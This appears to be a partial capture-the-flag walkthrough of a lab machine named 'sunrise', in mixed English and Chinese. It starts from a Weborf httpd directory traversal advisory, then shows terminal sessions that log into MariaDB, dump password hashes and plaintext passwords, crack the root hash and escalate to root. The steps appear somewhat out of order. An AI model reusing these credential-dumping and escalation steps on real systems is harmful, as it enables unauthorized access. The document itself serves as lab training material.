Weborf httpd <= 0.12.2 suffers a directory traversal vulnerability. This vulnerability could allow attackers to read arbitrary files and hak th3 plan3t.
instance.c : line 240-244 ------------------------------ void modURL(char* url) { //Prevents the use of .. to access the whole filesystem <-- ORLY? strReplace(url,"../",'\0');
root@kali:~# ssh weborf@192.168.56.104 The authenticity of host '192.168.56.104 (192.168.56.104)' can't be established. ECDSA key fingerprint is SHA256:4yaOo7mwlBs//3V1VVqqtiApksgelyI4AJwhIUfz0UQ. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.56.104' (ECDSA) to the list of known hosts. weborf@192.168.56.104's password: Linux sunrise 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Dec 5 16:24:32 2019 from 192.168.1.146 weborf@sunrise:~$ id uid=1001(weborf) gid=1001(weborf) groups=1001(weborf) weborf@sunrise:~$ whoami weborf weborf@sunrise:~$ pwd /home/weborf
weborf@sunrise:~$ mysql -uweborf -piheartrainbows44 Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 37 Server version: 10.3.18-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
MariaDB [(none)]> use mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed MariaDB [mysql]> show tables; +---------------------------+ | Tables_in_mysql | +---------------------------+ | column_stats | | columns_priv | | db | | event | | func | | general_log | | gtid_slave_pos | | help_category | | help_keyword | | help_relation | | help_topic | | host | | index_stats | | innodb_index_stats | | innodb_table_stats | | plugin | | proc | | procs_priv | | proxies_priv | | roles_mapping | | servers | | slow_log | | table_stats | | tables_priv | | time_zone | | time_zone_leap_second | | time_zone_name | | time_zone_transition | | time_zone_transition_type | | transaction_registry | | user | +---------------------------+ 31 rows inset (0.000 sec) MariaDB [mysql]> select * from user; +-----------+---------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+---------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+-------------+-------------------------------------------+------------------+---------+--------------+--------------------+ | Host | User | Password | Select_priv | Insert_priv | Update_priv | Delete_priv | Create_priv | Drop_priv | Reload_priv | Shutdown_priv | Process_priv | File_priv | Grant_priv | References_priv | Index_priv | Alter_priv | Show_db_priv | Super_priv | Create_tmp_table_priv | Lock_tables_priv | Execute_priv | Repl_slave_priv | Repl_client_priv | Create_view_priv | Show_view_priv | Create_routine_priv | Alter_routine_priv | Create_user_priv | Event_priv | Trigger_priv | Create_tablespace_priv | Delete_history_priv | ssl_type | ssl_cipher | x509_issuer | x509_subject | max_questions | max_updates | max_connections | max_user_connections | plugin | authentication_string | password_expired | is_role | default_role | max_statement_time | +-----------+---------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+---------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+-------------+-------------------------------------------+------------------+---------+--------------+--------------------+ | localhost | root | *C7B6683EEB8FF8329D8390574FAA04DD04B87C58 | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | | | | | 0 | 0 | 0 | 0 | unix_socket | *AF554C323F838EB43A3D464034692C0994346ED8 | N | N | | 0.000000 | | localhost | sunrise | thefutureissobrightigottawearshades | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | N | | | | | 0 | 0 | 0 | 0 | | | N | N | | 0.000000 | | localhost | weborf | *A76018C6BB42E371FD7B71D2EC6447AE6E37DB28 | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | N | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | Y | | | | | 0 | 0 | 0 | 0 | | | N | N | | 0.000000 | +-----------+---------+-------------------------------------------+-------------+-------------+-------------+-------------+-------------+-----------+-------------+---------------+--------------+-----------+------------+-----------------+------------+------------+--------------+------------+-----------------------+------------------+--------------+-----------------+------------------+------------------+----------------+---------------------+--------------------+------------------+------------+--------------+------------------------+---------------------+----------+------------+-------------+--------------+---------------+-------------+-----------------+----------------------+-------------+-------------------------------------------+------------------+---------+--------------+--------------------+ 3 rows inset (0.000 sec)
将root的hash值解密得到purplerain54732,直接root用户登录完成提权
1 2 3 4 5 6 7 8
weborf@sunrise:~$ su root Password: root@sunrise:/home/weborf# ls weborf-0.12.2 root@sunrise:/home/weborf# id uid=0(root) gid=0(root) groups=0(root) root@sunrise:/home/weborf# whoami root
the future is so bright i gotta wear shades (未来是如此光明，以至于我必须戴上墨镜)
成功登录
1 2 3 4 5 6
weborf@sunrise:~$ su sunrise Password: sunrise@sunrise:/home/weborf$ id uid=1000(sunrise) gid=1000(sunrise) groups=1000(sunrise),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner) sunrise@sunrise:/home/weborf$ whoami sunrise
下面是提权进程，基本不需要各种提权脚本，手动更快更准
1 2 3 4 5 6 7 8 9
sunrise@sunrise:~$ sudo -l [sudo] password for sunrise: Matching Defaults entries for sunrise on sunrise: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User sunrise may run the following commands on sunrise: (root) /usr/bin/wine
